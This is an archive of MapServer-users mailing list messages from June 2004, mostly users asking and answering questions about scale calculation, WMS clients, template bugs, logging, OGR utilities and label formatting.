$pixelMapaX =3D $map->width;

echo "pixelMapaX =3D " . $pixelMapaX . "<br>\n";

$pixelMapaY =3D $map->height;

echo "pixelMapaY =3D " . $pixelMapaY . "<br>\n";

 

$diagonalPixel =3D sqrt( ($pixelMapaX * $pixelMapaX) + ($pixelMapaY * $pixelMapaY) );

echo "diagonalPixel =3D " . $diagonalPixel . "<br>\n";

 

$escalaX =3D ($deltaEscala * $deltaX) / $pixelMapaX;

echo "escalaX =3D " . $escalaX . "<br>\n";

$escalaY =3D ($deltaEscala * $deltaY) / $pixelMapaY;

echo "escalaY =3D " . $escalaY . "<br>\n";

$escalaD =3D ($deltaEscala * $diagonal) / $diagonalPixel;

echo "escalaD =3D " . $escalaD . "<br>\n";

 

echo "cada intervalo em x igual a : " . ($escalaX / $intEscala) . "<br>\n";

echo "cada intervalo em y igual a : " . ($escalaY / $intEscala) . "<br>\n";

echo "cada intervalo em diagonal igual a : " . ($escalaD / $intEscala) . "<br>\n";

 

  The scale bar gives me 2 = intervals of 220 meters.

  With this method I get 2 = intervals of 250 meters in the x axis, 2 intervals of 277 meters in the y axis and 2 = intervals of 260 meters in the diagonal.

 

  Does anyone know how the mapserver calculates the scale = values?

  = Thanks,

     = Murilo

 

------=_NextPart_000_0001_01C454AF.177CA070-- From nhv at cape.com Thu Jun 17 17:29:31 2004 From: nhv at cape.com (Norman Vine) Date: Thu, 17 Jun 2004 20:29:31 -0400 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: <40D1701E.9040307@ilmenau.baw.de> Message-ID: > Tyler Mitchell schrieb: > > Some of us have been discussing/debating about how to improve the > > MapServer community, specifically via the mailing lists. The idea is that > > there might be some benefit gained from creating a new list or two. The discussion so far sounds like 4 lists might be in order 1) "mapserver-announce" // low volume *read-only* announcements // of new releases group events etc 2) "mapserver-users" // 'this group' - normal discussion 3) "mapserver-tutors" // beginners needing some hand holding 4) "mapserver-dev" // technical developer discussion *only* > > I am not sure how well all the questions get answered, especially > > considering the volume of mail coming through these days. For those who find the volume of the list excessive i.e. your mailbox seems to be overflowing there is an excellent newsgroup interface available @ nntp://news.gmane.org/gmane.comp.gis.mapserver.user Cheers Norman From mtomko at sunrise.sli.unimelb.edu.au Thu Jun 17 18:50:28 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Fri, 18 Jun 2004 11:50:28 +1000 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: <20040617170006.91.18583.Mailman@lists.gis.umn.edu> References: <20040617170006.91.18583.Mailman@lists.gis.umn.edu> Message-ID: <6.0.0.22.2.20040618114157.01b09640@sunrise.sli.unimelb.edu.au> Hi List, this is a vital discussion, and even not being involved in the development, my last half year with mapserver and this list was just wonderfull and I would like to keep it so.... I think that what we need is a better interface for the list archives... So that the topics can really be sorted by tread, searched, ... They may not always be really comprehensible...On the other hand, we cannot adopt the way of ESRI, which probably has people payed for reviewing all the lists and giving support. If I would not get the support I got from the guys in this list, my experience with mapserver would be as long as the one with deegree (2 days, no functionality working...) This list helpped me to overcome this, and I did not give up... Even though I am still a newbie, and CGI interfacing is enough for me... (not for long). Suggestions: 1. we can create new mailing lists, but I would strongly discourage the creation of the "newbie" list. HOwever, I feel that the developers are somehow overloaded and even less advanced users could help - for example the documentation is really not up to date, and I understand it... MAybe we (the intermediate users) could have a "documentation" list, where we would do pre-realease testing and documentaiton (in the specific areas of interest), so that all the changes are mirrored there as soon as possible. I am willing to give some time on it. 2. pay more attention to deleting the text in replies, removing unnecessary formatting and setting up a virus scan /junk mail scan is usefull. Oh, and please, no "out of office messages!!" 3. I am subscribed to the daily digest. I do not like the HTML formatting, but a cool functionality could be to have the top of the list with the outlines of the subjects as hyperlinks, so that I could directly jump to the message concerned...(is this somehow feasible??). Cheers!! Martin From mtomko at sunrise.sli.unimelb.edu.au Thu Jun 17 22:11:40 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Fri, 18 Jun 2004 15:11:40 +1000 Subject: [Mapserver-users] WMS clients and Mapserver (JUMP, ArcExplorer) Message-ID: <6.0.0.22.2.20040618133250.01b632b0@sunrise.sli.unimelb.edu.au> HI List, I thought I already went trough this... after some time, I am trying to use a different client and here the problems comes again... (I am using the 4.3 build) I tried to add a WMS layer to JUMP, http://localhost/cgi-bin/wms.exe? ( I use SetEnvIf Request_URI "/cgi-bin/wms.exe" MS_MAPFILE=c:/Apache/Apache/htdocs/WMS/WMS.map) in my apache config And it finds the layers and even add the selected one, but doesn't display anything... Ok, so I tried ArcExplorer java ed. + Interop Extensions... It claims that my GetCapabilities is not correct... I have checked it, there are no error comments in there,... Here is a snippet: ]> OGC:WMS UNIMELB WMS application/vnd.ogc.wms_xml image/gif image/png image/jpeg image/wbmp application/x-shockwave-flash text/html application/x-pdf image/tiff text/plain text/html application/vnd.ogc.gml text/xml image/gif image/png image/jpeg image/wbmp application/x-shockwave-flash text/html application/x-pdf image/tiff application/vnd.ogc.se_xml application/vnd.ogc.se_inimage application/vnd.ogc.se_blank wms.map UNIMELB WMS EPSG:20255 Rasters Landuse Aerial Aerial EPSG:20255 Landuse Landuse Parcels Parcels EPSG:20255 Transport Transport Roads Roads EPSG:20255 Thanks for helping me!! Martin From satyajit.gantayat at aurovision.com Thu Jun 17 22:52:23 2004 From: satyajit.gantayat at aurovision.com (Satyajit) Date: Fri, 18 Jun 2004 11:22:23 +0530 Subject: [Mapserver-users] Printing - PHP code In-Reply-To: <200406170949.14115.alhim@intracom.gr> Message-ID: <001601c454f8$9314e820$183ba8c0@aurogis02> Dear list, I've successfully built an application on Mapserver. Check this out http://203.199.114.111/newham. First I would like to thank this list for giving all the useful info about creating an application with Mapserver. This list seems to be the only resource for any kind of help. Without you guys it would have been impossible to carry out this project. I still have to add some more functionality to this. Can anyone suggest me a way to take the printout of the map with the legend and scale bar and north arrow. My problem is that I have a lot of themes in my map and if someone takes the printout of the map then I will have adjust the sizes of the legend so that it fits into the size of the specified paper ( A4 or A3 ..). If anyone has the working code then I would like to have that so that I can implement it directly. Thanks a lot guys. Waiting for your replies. ~cheers Satyajit. From jesko at geocontent.de Thu Jun 17 23:03:29 2004 From: jesko at geocontent.de (Dirk Jesko) Date: Fri, 18 Jun 2004 08:03:29 +0200 Subject: [Mapserver-users] Mapserver 4.2.0 Template Weirdness In-Reply-To: <40D1BFC8.2030108@gemini.local> Message-ID: Hi Marcus, I just filed a bug and my solution. Hopefully it will be fixed soon. Regards, Dirk > -----Urspr?ngliche Nachricht----- > Von: Markus Spring [mailto:m.spring at gmx.de] > Gesendet: Donnerstag, 17. Juni 2004 17:59 > An: Dirk Jesko > Cc: mapserver-users at lists.gis.umn.edu > Betreff: Re: [Mapserver-users] Mapserver 4.2.0 Template Weirdness > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Dirk Jesko wrote: > | Hi Marcus, > | > | I might have an explanation. It seems to be a bug with the linux > version. > | The windows binaries work just fine. > | > | I had the same problem with [layers] today. If > &layers=layer1+layer2+layer3 > | is passed to mapserver, all layers are displayed, but only the last is > | returned (layer3) to the [layers] variable in the template. > | > | The reason seems to be the processLine function in maptemplate.c. The > | snprintf function used to replace [layers] with the actual values does > not > | work the way it should (on linux systems). I replaced snprintf by > strcat, > | which works perfectly for me. > | > > Hi Dirk, > > you are definitely right on this! How come nobody has stumbled over it > until now??? > > Are you going to file a bug about this or shall I do so? > > Kind regards > > Markus > > | > |> -----Urspr?ngliche Nachricht----- > |> Von: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users- > |> admin at lists.gis.umn.edu] Im Auftrag von Markus Spring > |> Gesendet: Donnerstag, 17. Juni 2004 13:16 > |> An: mapserver-users at lists.gis.umn.edu > |> Betreff: [Mapserver-users] Mapserver 4.2.0 Template Weirdness > |> > | Hi list, > | > | checking the 4.2.0 CGI mapserver, a ran across a weird template problem > | regarding the [layer], [layer_esc] and [toggle_layers] variables. > | > | The output with the same querystring of > | > | &map=/home/springm/perl/Geo- > | > UMNmapserver/t/maps/verwaltungsgrenzenflur/verwaltungsgrenzenflur.dfo.map > | &mode=browse > | &layer=l1 > | &layer=l0 > | &layer=bgl15 > | &layer=bgl11 > | &layer=bgl20 > | &zoomdir=1 > | &zoomsize=2 > | &mapsize=400+300 > | &scale=9700 > | &mapxy=4465711.0965965+5341175.7092885 > | > | (of cours all in one line) returns: > | > | > | > | => layers: l1 l0 bgl15 bgl11 bgl20 > | => toggle_layers: bgl99 bgl20 bgl11 bgl00 bgl00 bgl00 bgl00 l0 l1 > | bgl98 > | bgl15 bgl08 bgl08 bgl08 bgl08 bgl08 bgl08 MSSuser __embed__scalebar > | __embed__legend > | > | and > | > | > | > | => layers: bgl20 > | => toggle_layers: __embed__legend > | > | I have no explanation for this behavior. > | > | Kind regards > | > | Markus > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > | _______________________________________________ > | Mapserver-users mailing list > | Mapserver-users at lists.gis.umn.edu > | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFA0b/IxxUzQSse11ARAqxOAJ9/t/u/DzJ2+OiC8bLgYXPYXvJkvgCfcvot > zc+MX6AeTlXCJruCpuOKjkQ= > =fCs0 > -----END PGP SIGNATURE----- From steve.lime at dnr.state.mn.us Thu Jun 17 23:30:18 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 18 Jun 2004 01:30:18 -0500 Subject: [Mapserver-users] How is the scale calculated?? Message-ID: The code is in mapscale.c, note that typically MapServer adjusts the requested extent to "perfectly" fit the requested image size before computing scale. This fitting gives you cellsizex = cellsizey. It's pretty straight forward from there. Steve >>> "Murilo Lacerda Yoshida" 06/17/04 7:07 PM >>> Hi all, I am trying to dynamically change the scalebar units, from meters to kilometers, when needed. Because if I don't the scale gets too crowded, on value gets over another, and it becomes a mess. I did a script to calculate the values in the scale, apparently it is right, but the values are not equal, although they are close. See if it is ok $minX = $map->extent->minx; $maxX = $map->extent->maxx; $minY = $map->extent->miny; $maxY = $map->extent->maxy; $minPto = calcularUtm($minY, $minX); $maxPto = calcularUtm($maxY, $maxX); $deltaX = abs($maxPto->x - $minPto->x); echo "deltaX = " . $deltaX . "
\n"; $deltaY = abs($maxPto->y - $minPto->y); echo "deltaY = " . $deltaY . "
\n"; $diagonal = sqrt( ($deltaX * $deltaX) + ($deltaY * $deltaY) ); echo "diagonal = " . $diagonal . "
\n"; $deltaEscala = $map->scalebar->width; echo "deltaEscala = " . $deltaEscala . "
\n"; $intEscala = $map->scalebar->intervals; echo "intEscala = " . $intEscala . "
\n"; $pixelMapaX = $map->width; echo "pixelMapaX = " . $pixelMapaX . "
\n"; $pixelMapaY = $map->height; echo "pixelMapaY = " . $pixelMapaY . "
\n"; $diagonalPixel = sqrt( ($pixelMapaX * $pixelMapaX) + ($pixelMapaY * $pixelMapaY) ); echo "diagonalPixel = " . $diagonalPixel . "
\n"; $escalaX = ($deltaEscala * $deltaX) / $pixelMapaX; echo "escalaX = " . $escalaX . "
\n"; $escalaY = ($deltaEscala * $deltaY) / $pixelMapaY; echo "escalaY = " . $escalaY . "
\n"; $escalaD = ($deltaEscala * $diagonal) / $diagonalPixel; echo "escalaD = " . $escalaD . "
\n"; echo "cada intervalo em x igual a : " . ($escalaX / $intEscala) . "
\n"; echo "cada intervalo em y igual a : " . ($escalaY / $intEscala) . "
\n"; echo "cada intervalo em diagonal igual a : " . ($escalaD / $intEscala) . "
\n"; The scale bar gives me 2 intervals of 220 meters. With this method I get 2 intervals of 250 meters in the x axis, 2 intervals of 277 meters in the y axis and 2 intervals of 260 meters in the diagonal. Does anyone know how the mapserver calculates the scale values? Thanks, Murilo From ter-haseborg at sf-datentechnik.de Thu Jun 17 23:56:48 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Fri, 18 Jun 2004 08:56:48 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers Message-ID: <26FAB31EFF50034782DFE474AB44FE3E02933F@nt-sf-exchange.Windows2000> Hi, LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" or LOG ms.log gives no difference. So far I never had any problems using '/' instead of '\'. Are there any other requirements to be met for ms to get a debug-log? TIA, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany > -----Original Message----- > From: Lars M?ller [mailto:moeller at basis5.de] > Sent: Thursday, June 17, 2004 5:42 PM > To: Frieso ter Haseborg > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How to log requests on remote > wms-servers > > > > hi, > > I believe in windows the shappath should be something with > "\" not with > "/". and it would be easyier if you give a full path like > c:\bla\bla\data > > same in web log and web imagepath. > but not in imageurl. > there it should be with "/". > > hope that helps > > lars > > > > Frieso ter Haseborg schrieb: > > Hi, > > > > is there any way to log the requests the UMN wms-client > sends to a remote wms-server. > > > > I tried the LOG and DEBUG parameters, but I get no output > from this so far. The logfile isn't even created. > > > > This is the map-file used: > > NAME TEST > > SIZE 400 400 > > STATUS ON > > EXTENT 2476553.0 5540279.0 2779499.0 5856970.0 > > > > UNITS METERS > > SHAPEPATH "./data/" > > DEBUG ON > > > > PROJECTION > > 'init=epsg:31466' > > END > > > > WEB > > LOG "/Programme/Apache Group/Apache2/htdocs/tmp/ms.log" > > IMAGEPATH "/Programme/Apache Group/Apache2/htdocs/tmp/" > > IMAGEURL "/tmp/" > > END > > > > LAYER > > NAME "Test" > > DEBUG ON > > [...] > > > > > > (system-configuration: Win2k; Apache 2.0.47; MS 4.0; PHP > 4.3.2, MapScript rev 1.177) > > > > TIA, > > > > Frieso ter Haseborg > > - Software Development - > > > > -- > > > > -------------------------------------------------- > > S&F Datentechnik GmbH&Co.KG > > Reimersstr. 41b > > 26789 Leer, Germany > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > -- > _____________________________ > > dipl.-ing. lars m?ller > basis5 - webtechnologie > m?ller und zipp ingenieure > und partner > > malsburgstrasse 14 > 34119 kassel > > tel 0561.7660348 > fax 0561.7660358 > > email moeller at basis5.de > > www.basis5.de > _____________________________ > > > From bartvde at xs4all.nl Fri Jun 18 00:48:58 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 18 Jun 2004 09:48:58 +0200 Subject: [Mapserver-users] Using XMLSpy with GML In-Reply-To: <20040617214229.29591.qmail@web15212.mail.bjs.yahoo.com> References: <20040617214229.29591.qmail@web15212.mail.bjs.yahoo.com> Message-ID: Hi, I used XMLSpy purely for validation of the GML, not for import. You can however, use Frank Warmerdam's OGR library to import GML and save it as another format (using the ogr2ogr utility). There is also a PHP version of Frank's OGR library called php_ogr. Without conversion, you can also use GML data directly in Mapserver through an OGR connection, see: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0402/msg00570.html php_ogr can be found here: http://maptools.org/dl/php_ogr/ BTW: I don't know what you mean by OS GML (the OS part of it). Best regards, Bart On Fri, 18 Jun 2004 05:42:29 +0800 (CST), guoloi dou wrote: > Hi, I am trying to implement a web application using MapServer, PHP in > Windows with OS GML data. I saw your discussion about using XMLSpy to > process GML. Is it possible to use XMLSpy import OS GML data or do you > guy know any other ways? > > Thanks, > Zhengda Lu > > > > > --------------------------------- > Do You Yahoo!? > ????????????????????????????????????????????? -- From eric.belenfant at ac-orleans-tours.fr Fri Jun 18 01:15:54 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Fri, 18 Jun 2004 10:15:54 +0200 Subject: [Mapserver-users] where is ogrinfo.exe? Message-ID: <40D2A4BA.8050200@ac-orleans-tours.fr> Hi , I installed de mapserver binary files on my W98 and all the dlls, mapserver is ok (i think) see the verbose of mapserv C:\mapserver>mapserv -v MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Now I'm looking for the ogrinfo program to have infos about my .tab files, but I CAN'T FIND IT ANYWHERE ?? thanks in advance eric From gheysen.t at skynet.be Fri Jun 18 01:36:09 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Fri, 18 Jun 2004 10:36:09 +0200 Subject: [Mapserver-users] Ogr binaries Message-ID: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, Somebody can send to me a window version of the utility ogrtindex because this include in openEV need a other version of \"gdal.dll\" that this include in the package. Thanks in advance. Gheysen Thibaut. -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,
 
Somebody can send to me a window version of the utility ogrtindex because this include in openEV need a other version of "gdal.dll" that this include in the package.
 
Thanks in advance.
 
Gheysen Thibaut.
-------boundalter150977-- From bartvde at xs4all.nl Fri Jun 18 01:56:41 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 18 Jun 2004 10:56:41 +0200 Subject: [Mapserver-users] where is ogrinfo.exe? In-Reply-To: <40D2A4BA.8050200@ac-orleans-tours.fr> References: <40D2A4BA.8050200@ac-orleans-tours.fr> Message-ID: Hi, try downloading OpenEV_FW, it's in there for sure. Latest version is 1.7.4. http://dl.maptools.org/gdal/openev/ Best regards, Bart On Fri, 18 Jun 2004 10:15:54 +0200, Belenfant Eric wrote: > Hi , > > I installed de mapserver binary files on my W98 and all the dlls, > mapserver is ok (i think) > see the verbose of mapserv > > C:\mapserver>mapserv -v > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > OUTPUT=PDF > OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLI > ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS > INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > Now I'm looking for the ogrinfo program to have infos about my .tab > files, but I CAN'T FIND IT ANYWHERE ?? > > thanks in advance > > eric > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From tma at archikart.de Fri Jun 18 02:10:30 2004 From: tma at archikart.de (Tobias Macheleid) Date: Fri, 18 Jun 2004 11:10:30 +0200 Subject: [Mapserver-users] labeling of pointobjects Message-ID: <40D2B186.7050707@archikart.de> Is there a possibility to format (bold, stroke, underline ..) the label for a point object? -- thanks Tobias Macheleid KANIS Computer & Software WWW: www.archikart.de From bartvde at xs4all.nl Fri Jun 18 02:02:22 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 18 Jun 2004 11:02:22 +0200 Subject: [Mapserver-users] Ogr binaries In-Reply-To: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> References: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> Message-ID: Hi, just run the ogrtindex command from the OpenEV_FW\bin directory. Don't copy the ogrtindex.exe to the directory where mapserv.exe is situated (I assume that is what you are doing). Best regards, Bart On Fri, 18 Jun 2004 10:36:09 +0200, wrote: > Hello, > > Somebody can send to me a window version of the utility ogrtindex > because this include in openEV need a other version of \"gdal.dll\" that > this include in the package. > > Thanks in advance. > > Gheysen Thibaut. -- From siki at agt.bme.hu Fri Jun 18 05:55:51 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 18 Jun 2004 11:55:51 -0100 (GMT+1) Subject: [Mapserver-users] where is ogrinfo.exe? {Scanned} In-Reply-To: <40D2A4BA.8050200@ac-orleans-tours.fr> Message-ID: Hi, ogrinfo is not part of the binary windows distribution. It is part of gdal, see gdal.velocet.ca/projects/opengis. Bye Zoltan On Fri, 18 Jun 2004, Belenfant Eric wrote: > Hi , > > I installed de mapserver binary files on my W98 and all the dlls, > mapserver is ok (i think) > see the verbose of mapserv > > C:\mapserver>mapserv -v > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > OUTPUT=PDF > OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLI > ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS > INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > Now I'm looking for the ogrinfo program to have infos about my .tab > files, but I CAN'T FIND IT ANYWHERE ?? > > thanks in advance > > eric > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From palle at mail-online.dk Fri Jun 18 04:09:45 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Fri, 18 Jun 2004 13:09:45 +0200 Subject: [Mapserver-users] labeling of pointobjects In-Reply-To: <40D2B186.7050707@archikart.de> References: <40D2B186.7050707@archikart.de> Message-ID: Hi, You need to select a different font. Often arial is normal, arialb is bold, ariali is italic etc. Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: Tobias Macheleid To: mapserver-users at lists.gis.umn.edu Date: Fri, 18 Jun 2004 11:10:30 +0200 Subject: [Mapserver-users] labeling of pointobjects > > Is there a possibility to format (bold, stroke, underline ..) the > label for a > point object? > > -- > thanks > Tobias Macheleid > > KANIS Computer & Software > WWW: www.archikart.de > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users F? en gratis emailkonto her: www.mail-online.dk ----------------------------------------------- Deltag i en lille brugerunders?gelse p? nettet, og vind et gavekort p? 50.000 kroner..! www.nyhedsbasen.dk/konkurrence From tma at archikart.de Fri Jun 18 04:34:31 2004 From: tma at archikart.de (Tobias Macheleid) Date: Fri, 18 Jun 2004 13:34:31 +0200 Subject: [Mapserver-users] labeling of pointobjects In-Reply-To: References: <40D2B186.7050707@archikart.de> Message-ID: <40D2D347.1090504@archikart.de> Palle Due Larsen wrote:
You need to select a different font.
Often arial is normal, arialb is bold, ariali is italic etc.
Thanks, but can i also do this?

Example for a point label:

15
7


--
thanks
Tobias Macheleid

KANIS Computer & Software
WWW: www.archikart.de
From palle at mail-online.dk Fri Jun 18 04:57:35 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Fri, 18 Jun 2004 13:57:35 +0200 Subject: [Mapserver-users] labeling of pointobjects In-Reply-To: <40D2D347.1090504@archikart.de> References: <40D2B186.7050707@archikart.de> <40D2D347.1090504@archikart.de> Message-ID: You can try multiline labels. Specify WRAP "!" in your label object, then make sure your labelitem in the dbf file contains " 15!___! 7 " I bet it looks crappy, though ;-) Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: Tobias Macheleid To: Palle Due Larsen , mapserver-users at lists.gis.umn.edu Date: Fri, 18 Jun 2004 13:34:31 +0200 Subject: Re: [Mapserver-users] labeling of pointobjects > > > > http-equiv="Content-Type"> > > > > Palle Due Larsen wrote: >
cite="midWorldClient-F200406181309.AA09450647 at mail-online.dk" > type="cite">You need to select a different font.
> Often arial is normal, arialb is bold, ariali is italic etc.
>
> Thanks, but can i also do this?
>
> Example for a point label:
>
> 15
>
7
>

>
> --
> thanks
> Tobias Macheleid
>
> KANIS Computer & Software
> WWW: href="http://www.archikart.de">www.archikart.de
>
> > > F? en gratis emailkonto her: www.mail-online.dk ----------------------------------------------- Deltag i en lille brugerunders?gelse p? nettet, og vind et gavekort p? 50.000 kroner..! www.nyhedsbasen.dk/konkurrence From wheintz at cer.ifn.fr Fri Jun 18 05:19:46 2004 From: wheintz at cer.ifn.fr (wilfried Heintz) Date: Fri, 18 Jun 2004 14:19:46 +0200 Subject: [Mapserver-users] Browse mode ? Message-ID: <6.0.1.1.0.20040618141345.01ad4b30@smilax> --=====================_4065484==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hello, I'm using the MapServer 4.0 tutorial and I've got a problem in section 2. I tried to use my own shapefiles and it worked well in map mode. But when I use the browse mode, it fails : however, if I choose recenter or zoom and I refresh in map mode, I obtain a good result. I checked my /tmp repertory and there's no temporary .png at all ... I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server (easyphp). Thanks a lot for your help. _______________________________________________________ Wilfried Heintz Inventaire Forestier National - Cellule Evaluation de la Ressource Place des Arcades - Maurin BP 1001 34972 Lattes cedex Tel. +33 (0) 4 67 07 80 98 Fax. +33 (0) 4 67 07 80 91 > http://projet.sinpa.free.fr/ _______________________________________________________ --=====================_4065484==.ALT Content-Type: text/html; charset="us-ascii" Hello,
I'm using the MapServer 4.0 tutorial and I've got a problem in section 2.
I tried to use my own shapefiles and it worked well in map mode.
But when I use the browse mode, it fails : however, if I choose recenter or zoom and I refresh in map mode, I obtain a good result.
I checked my /tmp repertory and there's no temporary .png at all ...
I'm using MapServer 4.0.2 for Windows, on Windows XP with Apache server (easyphp).
Thanks a lot for your help.


_______________________________________________________

Wilfried Heintz
I
nventaire Forestier National - Cellule Evaluation de la Ressource
Place des Arcades - Maurin
BP 1001
34972 Lattes cedex
Tel. +33 (0) 4 67 07 80 98
Fax. +33 (0) 4 67 07 80 91
> http://projet.sinpa.free.fr/
_______________________________________________________
--=====================_4065484==.ALT-- From mh at svaj.dk Fri Jun 18 05:28:07 2004 From: mh at svaj.dk (=?ISO-8859-1?Q?Martin_H=F8gh?=) Date: Fri, 18 Jun 2004 14:28:07 +0200 Subject: [Mapserver-users] WMS client problem Message-ID: <40D2DFD7.5070701@svaj.dk> Dear list I've a problem with wms client in ms3.6.6 This layer definition fails to work. The wms works ok. My ms client does not throw an error and a .img.tmp file of 0 kb is created in the image path and the client is busy for about 30 secs. before responding (with a map without the wms layer) Anybody? /martin LAYER NAME orto METADATA "wms_title" "orto" "wms_srs" "EPSG:32632" END TYPE RASTER STATUS default CONNECTIONTYPE WMS CONNECTION "http://212.242.50.42/scripts/mapserv.exe?map=D:\www\moeldrup_wms\ECW10\moeldrup.map&VERSION=1.0.0&FORMAT=png" PROJECTION "init=epsg:32632" END END From tma at archikart.de Fri Jun 18 05:30:39 2004 From: tma at archikart.de (Tobias Macheleid) Date: Fri, 18 Jun 2004 14:30:39 +0200 Subject: [Mapserver-users] labeling of pointobjects In-Reply-To: References: <40D2B186.7050707@archikart.de> <40D2D347.1090504@archikart.de> Message-ID: <40D2E06F.2040207@archikart.de> Palle Due Larsen wrote: > You can try multiline labels. > > Specify > WRAP "!" > in your label object, then make sure your labelitem in the dbf file contains > " 15!___! 7 " > > I bet it looks crappy, though ;-) oh yes that is an idea, but in the picture the label look like 15 _ 7 -- Best regards, Tobias From Tom.Kralidis at ec.gc.ca Fri Jun 18 05:44:29 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Fri, 18 Jun 2004 08:44:29 -0400 Subject: [Mapserver-users] WMS client problem Message-ID: <2576812186CDD411BF1500508B6DCE9506A83649@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Martin H?gh > Sent: Friday, June 18, 2004 8:28 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] WMS client problem > > > Dear list > I've a problem with wms client in ms3.6.6 > Is there any way you can upgrade to 4.2, or are you bound to 3.6.6? > This layer definition fails to work. The wms works ok. My ms > client does > not throw an error and a .img.tmp file of 0 kb is created in > the image > path and the client is busy for about 30 secs. before > responding (with a > map without the wms layer) > > Anybody? > > /martin > > LAYER > NAME orto > METADATA > "wms_title" "orto" > "wms_srs" "EPSG:32632" > END > TYPE RASTER > STATUS default > CONNECTIONTYPE WMS > CONNECTION > "http://212.242.50.42/scripts/mapserv.exe?map=D:\www\moeldrup_ wms\ECW10\moeldrup.map&VERSION=1.0.0&FORMAT=png" PROJECTION "init=epsg:32632" END END _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sbeorchia at gi-lemans.fr Fri Jun 18 05:44:52 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Fri, 18 Jun 2004 14:44:52 +0200 Subject: [Mapserver-users] Mapserver 4.3 Win Antialias Oracle References: <40D2B186.7050707@archikart.de> <40D2D347.1090504@archikart.de> Message-ID: <005301c45532$0d26aa20$8469850a@GILEMANS> Hi list, does anyone have the lastest version of mapserver compiled with Oracle and Antialias, for windows ? Thanks. Sylvain. From aborruso at spaziogis.it Fri Jun 18 05:57:27 2004 From: aborruso at spaziogis.it (Aborruso) Date: Fri, 18 Jun 2004 20:57:27 +0800 Subject: [Mapserver-users] Re: Yahoo! Message-ID: ----------nleahxeyftzhumjziicw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
